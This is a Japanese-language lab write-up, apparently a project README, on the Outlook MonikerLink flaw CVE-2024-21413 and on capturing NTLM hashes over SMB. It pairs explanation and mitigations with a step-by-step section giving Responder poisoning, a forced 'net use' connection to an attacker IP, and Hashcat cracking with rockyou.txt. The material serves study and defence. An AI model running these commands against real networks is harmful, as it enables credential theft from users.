SMB + Responder ラボ (CVE-2024-21413)

🎯 目的

このプロジェクトの目的は、CVE-2024-21413 (MonikerLink) の脆弱性を研究し、SMB/NTLM プロトコルが資格情報の取得に悪用される方法を探ることです。
Microsoft による公式修正後も、このラボでは内部シナリオにおいてコンセプトが依然として有効であることを示しています。

📖 Exploit 理論

脆弱性 (CVE-2024-21413) は MonikerLink として知られ、重大 (CVSS 9.8) と評価されました。
これは、Outlook が "file://" リンクを安全でない方法で処理し、古い COM API (Moniker Objects) を使用していたために発生しました。これらのオブジェクトにより、Outlook は Protected View を経由せずに外部リソースを呼び出し、クライアントに自動的に SMB 接続を開始させることができました。

1. Moniker Link とは？

これは、特別なリンクを介して COM オブジェクトを参照できる Windows の機能です。

2. Outlook が file:// を処理していた方法

元のエクスプロイトは、電子メールで送信された "file://" リンクや UNC パスを悪用していました。

3. "!" によるバイパスが発生した方法

リンクに "!" 文字を追加することで、Outlook の内部保護を回避し、外部リソースを直接強制的に開くことが可能でした。

4. NTLM が露出した方法

これにより自動 NTLM 認証が発生し、ユーザーの大きな操作なしに攻撃者に NetNTLMv2 ハッシュが露出しました。

5. パッチが修正するもの

パッチ KB5002519 は、Outlook におけるこの動作を特にブロックし、"file://" リンクがこのように処理されるのを防ぎます。

6. パッチが修正しないもの

ただし、Windows の自動 NTLM は Outlook のコンテキスト外でも引き続き機能します。つまり、NTLM が有効で認証制限がない環境で SMB リソースにアクセスしようとすると、依然として自動的にハッシュが送信される可能性があります。

📌 Outlook、SMB/NTLM、Responder の関係 元のエクスプロイト: 悪意のあるリンクを含むスパムメール → Outlook が処理 → NTLM が自動認証 → 攻撃者がハッシュを受信。

内部ラボ: 概念部分のみをシミュレート → 手動で SMB 接続を強制 → Responder がハッシュをキャプチャ → Hashcat がクラッキングを実行。

なぜまだ機能するのか？NTLM は Outlook に関係なく SMB 接続で自動認証するレガシープロトコルだからです。パッチは Outlook クライアントを修正しますが、Windows 上の NTLM の動作を排除するわけではありません。

🏗️ ラボのアーキテクチャ

• 攻撃者: Kali Linux (Responder と Hashcat 搭載)
• 被害者: Outlook がインストールされた Windows
• ネットワーク: 外部公開なしのシミュレートされた LAN
• ツール:
  • Responder → プロトコルポイズニングとハッシュキャプチャ用
  • Hashcat → キャプチャしたハッシュのオフラインクラッキング用

🛡️ Outlook のパッチ

テスト中、Outlook は電子メールからの file:// リンクをブロックし、セキュリティ警告を表示しました：

注意

2024年2月にリリースされたパッチ KB5002519 は、file:// リンクをブロックすることで電子メール経由の外部ベクターを緩和します。
ただし、NTLM プロトコルは SMB 接続での自動認証を引き続き許可します。
つまり、Outlook はこの特定のエクスプロイトから保護されていますが、内部攻撃面は依然として有効です。
問題の根源は、認証メカニズムとしての NTLM への依存にあり、SMB 接続でのハッシュキャプチャに対して脆弱なままです。

📊 リスク指標

• CVE: CVE-2024-21413
• CVSS: 9.8 (重大)
• 影響: RCE + 資格情報漏洩
• ベクター: 外部 (Outlook) および内部 (SMB/NTLM)
• 推奨される緩和策:
  • パッチ KB5002519 を適用する。
  • 可能な場合は NTLM を無効にする。
  • AD 環境で Kerberos を強制する。
  • MFA と強力なパスワードを実装する。

📚 学び

1. Outlook のパッチは外部リンクのクリックのみをブロックする。
2. SMB/NTLM は依然としてネットワーク内の攻撃面である。
3. NetNTLMv2 ハッシュはキャプチャされ、オフラインでクラッキングされる可能性がある。
4. 弱いパスワードは一般的なワードリストで容易に発見される。
5. 公式修正後も、内部シナリオでは脆弱性の関連性が維持される。

📌 ステップバイステップ

1. Responder を起動 ここでは、Kali のネットワークインターフェースで Responder を起動します。Responder は偽の SMB サーバーとして機能し、被害者のリクエストに応答して NTLM 資格情報をキャプチャする準備をします。
   この手順は、プロトコルポイズニングと傍受の環境を準備するために不可欠です。
   Kali Linux でのコマンド:

sudo responder -I eth0

2. SMB 通信を強制
   Windows 上で、攻撃者の IP を指す SMB リソースに手動でアクセスします。
   このアクセスにより、Windows クライアントは NTLM 経由で自動認証を試み、ハッシュを偽のサーバー (Responder) に送信します。
   この時点で資格情報が最初に露出します。SMB 通信は以下の 2 つの方法で強制できます：

Via Explorer, acessando manualmente:

\\<IP do atacante>\test.

Via terminal (cmd ou PowerShell), usando o comando:

net use \\<IP do atacante>\test

3. ハッシュのキャプチャ
   Responder は認証試行を傍受し、NTLMv2 ハッシュを /usr/share/responder/logs/ 内のログファイルに保存します。
   このファイルには、クラッキングに使用される生のデータが含まれています。
   ここで脆弱性が明らかになります。平文のパスワードがなくても、ハッシュがキャプチャされ再利用される可能性があります。

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Hashcat によるクラッキング
   Hashcat を実行する前に、ログからハッシュをホームディレクトリのファイル (~/hash.txt) にコピーします。
   これにより操作が容易になり、Hashcat がコンテンツに直接アクセスできるようになります。
   次に、ワードリスト rockyou.txt を使用して、Hashcat をモード 5600 (NetNTLMv2) で実行します。
   このプロセスはハッシュをオフラインで解読しようとし、弱いパスワードが迅速に発見される方法を示します。
   結果はパスワードが見つかったかどうかを示し、脆弱性の実際のリスクを明確にします。

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

注:
実際のパスワードはセキュリティ上の理由から表示されません。目的はプロセスと脆弱性を実証することです。

✅ 結論

このラボは以下を明らかにしました：

• Outlook 経由のエクスプロイトはパッチによってブロックされました。
• それでも、手動で SMB ハッシュをキャプチャして解読することは可能です。
• 脆弱性はコンセプトとして引き続き有効であり、内部の堅牢化、強力なパスワード、Kerberos/トークンベース認証への移行の重要性を強調しています。